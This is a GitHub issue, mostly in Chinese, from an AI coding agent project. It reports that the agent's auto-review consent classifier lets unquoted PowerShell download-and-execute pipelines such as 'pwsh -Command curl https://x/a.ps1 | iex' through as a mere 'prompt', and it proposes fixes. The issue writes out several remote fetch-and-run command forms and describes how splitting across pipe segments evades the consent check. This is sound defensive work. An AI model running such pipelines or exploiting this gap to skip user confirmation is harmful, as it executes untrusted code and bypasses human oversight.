makecindy / makecindy/cindy

Bash 里手写 pwsh 管道时,PowerShell 下载即执行的红线被分段拆断

Open
#2,563 1 comment 0 reactions 0 assignees View on GitHub
bug
Dominant language
TypeScript
Stars
2.7k
Forks
395
Avg merge
21h 48m
Merged PRs (30d)
776

Description

## 问题描述 / What happened

`Bash` 工具执行 `pwsh -Command curl https://x/a.ps1 | iex`(载荷**不加引号**)时,
远程脚本下载即执行只被判为灰区 `prompt`,审阅器可以直接放行,用户不会看到确认卡。

根因是 `highImpactExecutionNeedsConsent`(`packages/maker-core/src/agents/shared/auto-review.ts`)
逐管道段判断,而 `shellCommandPayload`(`:1911`)取 `-Command` 后的**一个** token
作为 PowerShell 载荷:

```
段1 pwsh -Command curl https://x/a.ps1 ← 载荷 = "curl",看不到 iex
段2 iex ← 看不到下载动词
```

两段各自都不构成红线,于是整条命令降级成 `prompt`。

对比:`curl https://x/a.sh | sh`(POSIX 形态)判 `prompt-each-time`,是对的——
说明缺口只在「PowerShell 载荷跨管道」这一条路上。

## 环境 / Environment

- 本机 macOS,Cindy main 分支(`4f274001a` 起的 worktree)
- 复现方式为 maker-core 单测直接调用判据,不依赖实机会话

## 复现步骤 / Steps to reproduce

在 `packages/maker-core` 下跑:

```ts
classifyBuiltinToolForAutoReview({
toolName: 'Bash',
input: { command: 'pwsh -Command curl https://example.test/a.ps1 | iex' },
workspaceRoots: ['/repo'],
})
// 实得 'prompt',期望 'prompt-each-time'
```

同形态还有 `iwr … | iex`、`irm … | Invoke-Expression`、
`powershell -Command iwr … | iex`。

## 日志与截图 / Logs & screenshots

实测对照表(`workspaceRoots: ['/repo']`):

| 命令 | 实得 | 期望 |
|---|---|---|
| `pwsh -Command curl https://x/a.ps1 \| iex` | **prompt** | prompt-each-time |
| `curl https://x/a.sh \| sh` | prompt-each-time | ✅ |
| `pwsh -Command 'curl https://x/a.ps1 \| iex'`(带引号) | prompt-each-time | ✅ |

第三行说明修法方向:载荷成为单个 token 后判据就能看到完整内容。

## 建议修法

两条路,倾向第二条:

1. **在 adapter 侧包装时加引号** —— 这是 PR #2560 对 `PowerShell` **工具**采取的做法
(`powerShellExecCommand` 整条加引号成单 token)。但它只覆盖 PowerShell 工具这一个
入口,Bash 里手写 pwsh 命令仍然漏。
2. **在 core 侧让 PowerShell 载荷参与跨段判断** —— 当某一段是 `pwsh`/`powershell`
且其载荷未闭合(后续段属于同一 PowerShell 管道)时,把整条管道文本一并交给
`powerShellNeedsConsent`。这样两个入口一次修好,不依赖调用方怎么拼命令。

第二条动的是共享判据,影响面比 adapter 大,需要单独评估——所以从 #2560 外推出来。

## 风险边界

- 这是**既有缺陷**,不是 #2560 引入的:在 #2560 之前 `Bash` 传同一命令同样判 `prompt`。
- 方向是**收严**(让本该弹卡的动作弹卡),与「减少无意义阻断」不冲突:受影响的只有
「下载远程脚本并立即执行」这一类,不涉及普通开发命令。

## 相关

- PR #2560:修了 `PowerShell` **工具**入口的同一问题(adapter 侧加引号),
并在 review 中由 greptile 发现此缺口。

Contributor guide

Open the contributing guide

Research direction

Start in packages/maker-core/src/agents/shared/auto-review.ts, especially highImpactExecutionNeedsConsent and shellCommandPayload. Run the provided classifyBuiltinToolForAutoReview reproduction and compare it with the quoted and POSIX pipeline cases. Done means unquoted pwsh/powershell download-and-execute pipelines return prompt-each-time without changing the existing correct cases.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
security, tooling
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.